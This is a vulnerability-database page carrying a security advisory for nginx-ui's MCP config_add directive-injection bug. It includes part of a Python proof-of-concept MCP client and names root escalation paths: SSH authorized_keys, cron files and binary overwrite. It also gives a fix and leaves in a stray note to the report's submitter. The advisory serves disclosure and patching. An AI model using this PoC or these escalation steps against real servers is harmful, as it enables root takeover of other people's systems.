http.client.HTTPConnection(BASE, timeout=60)\n    conn.request(\"GET\", \"/mcp\", headers={**HDR, \"Accept\": \"text/event-stream\"})\n    r = conn.getresponse(); event = None\n    while True:\n        line = r.fp.readline()\n        if not line: break\n        line = line.decode(\"utf-8\",\"replace\").rstrip(\"\\r\\n\")\n        if line.startswith(\"event:\"): event = line[6:].strip()\n        elif line.startswith(\"data:\"):\n            data = line[5:].strip()\n            if event == \"endpoint\": endpoint[\"url\"] = data; endpoint[\"ready\"] = True\n            else: resp_q.put(data)\n        elif line == \"\": event = None\n\ndef post(obj):\n    conn = http.client.HTTPConnection(BASE, timeout=30)\n    conn.request(\"POST\", endpoint[\"url\"], body=json.dumps(obj).encode(),\n                 headers={**HDR, \"Content-Type\": \"application/json\"})\n    return conn.getresponse().read()\n\ndef wait(wid, t=20):\n    end = time.time()+t\n    while time.time() \u003c end:\n        try: d = resp_q.get(timeout=t)\n        except queue.Empty: break\n        try: j = json.loads(d)\n        except Exception: continue\n        if j.get(\"id\") == wid: return j\n\nthreading.Thread(target=sse_reader, daemon=True).start()\nfor _ in range(50):\n    if endpoint.get(\"ready\"): break\n    time.sleep(0.1)\npost({\"jsonrpc\":\"2.0\",\"id\":1,\"method\":\"initialize\",\"params\":{\"protocolVersion\":\"2024-11-05\",\n      \"capabilities\":{},\"clientInfo\":{\"name\":\"poc\",\"version\":\"1\"}}}); wait(1)\npost({\"jsonrpc\":\"2.0\",\"method\":\"notifications/initialized\",\"params\":{}})\ncmd = sys.argv[1] if len(sys.argv) \u003e 1 else \"list\"\nif cmd == \"list\":\n    post({\"jsonrpc\":\"2.0\",\"id\":2,\"method\":\"tools/list\",\"params\":{}})\n    print([t[\"name\"] for t in wait(2)[\"result\"][\"tools\"]])\nelif cmd == \"call\":\n    post({\"jsonrpc\":\"2.0\",\"id\":3,\"method\":\"tools/call\",\n          \"params\":{\"name\":sys.argv[2],\"arguments\":json.loads(sys.argv[3])}})\n    print(json.dumps(wait(3, 25), indent=1))\n```\n\n## Impact\nAn authenticated MCP principal \u2014 or a connected AI agent subverted via prompt injection \u2014 bypasses\nthe directive-validation security control and injects directives the project explicitly blocks\nelsewhere. On deployments with the njs/perl module available (the official Docker image ships\n`ngx_http_js_module.so`), this yields code execution in the nginx worker and, via `user root`,\narbitrary file read/write as root (trivially escalated to full host compromise:\n`/root/.ssh/authorized_keys`, `/etc/cron.d/*`, overwriting a binary). On stock nginx without those\nmodules it is a reliable DoS (failed reload) plus a `user root` privilege regression.\n\n## Honest scope / caveats\n- Authenticated (node secret or user JWT), agent-mediated \u2014 not unauthenticated.\n- RCE is conditional on the njs/perl module being present; it ships in the official image, so the\n  default Docker deployment is exploitable. Stock nginx without those modules \u2192 DoS instead.\n- The write path is sandboxed to the nginx conf dir (no path traversal); the bug is directive\n  injection. (The main nginx.conf is inside that dir and can be overwritten with overwrite=true.)\n- nginx-ui runs as root by design (it manages nginx); the bypass additionally lets request-handling\n  workers run as root via `user root`.\n\n## Suggested fix\nCall `config.ValidateConfigFile(path, content)` in `handleNginxConfigAdd` before `os.WriteFile`,\nmatching `mcp/config/config_modify.go` and the API paths \u2014 i.e. complete the `3e411d38` hardening on\nthe one path it missed.\n\n--- (NOT a form field \u2014 include this as the closing section of the Description above) ---\n\n## Dedup / novelty\nDistinct from CVE-2026-33032 (GHSA-h6c2-x2m2-mwhf, \"Unauthenticated MCP Endpoint\"), whose root cause\nis a MISSING AUTH middleware on /mcp_message (now fixed by adding AuthRequired) and which does not\ninvolve config-content validation. This report is an AUTHENTICATED bypass of the directive-validation\ncontrol on the config_add path, and works on a fully patched (post-33032) instance. No existing\nCVE/GHSA covers the config_add validation gap (checked osv.dev and the GitHub advisory database for\nthis repo). Appears novel.",
  "id": "GHSA-76pm-mq2q-9gcr",
  "modified": "2026-10-15T20:11:07Z",
  "published": "2026-10-15T20:11:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/security/advisories/GHSA-76pm-mq2q-9gcr"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-84317"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/commit/23d1934099b05b2a01589b48129dc3d3159d91c2"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/0xJacky/nginx-ui"
    },
    {
      "type": "WEB",
      "url": "https://github.com/0xJacky/nginx-ui/releases/tag/v2.4.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Nginx UI: MCP nginx_config_add skips config directive validation \u2192 authenticated nginx directive injection (RCE on the official image)"
}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Vulnerability timeline

Sightings and recorded dates, grouped by day · UTC

Order JSON

Publication & reservation Sightings KEV catalogs Other timestamps

Loading timeline…

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2026-84317 (GCVE-0-2026-84317)

FKIE_CVE-2026-84317

GHSA-76PM-MQ2Q-9GCR

Summary

Root cause — an incomplete hardening patch

Affected code (mcp/config/config_add.go, handleNginxConfigAdd)

Proof of Concept (live, Docker, official image)

Reproduction payloads (self-contained)

PoC client (MCP-over-SSE, Python stdlib only)

Impact

Honest scope / caveats

Suggested fix

Dedup / novelty

Tags

Sightings

Nomenclature

Vulnerability timeline

Related by attack behaviour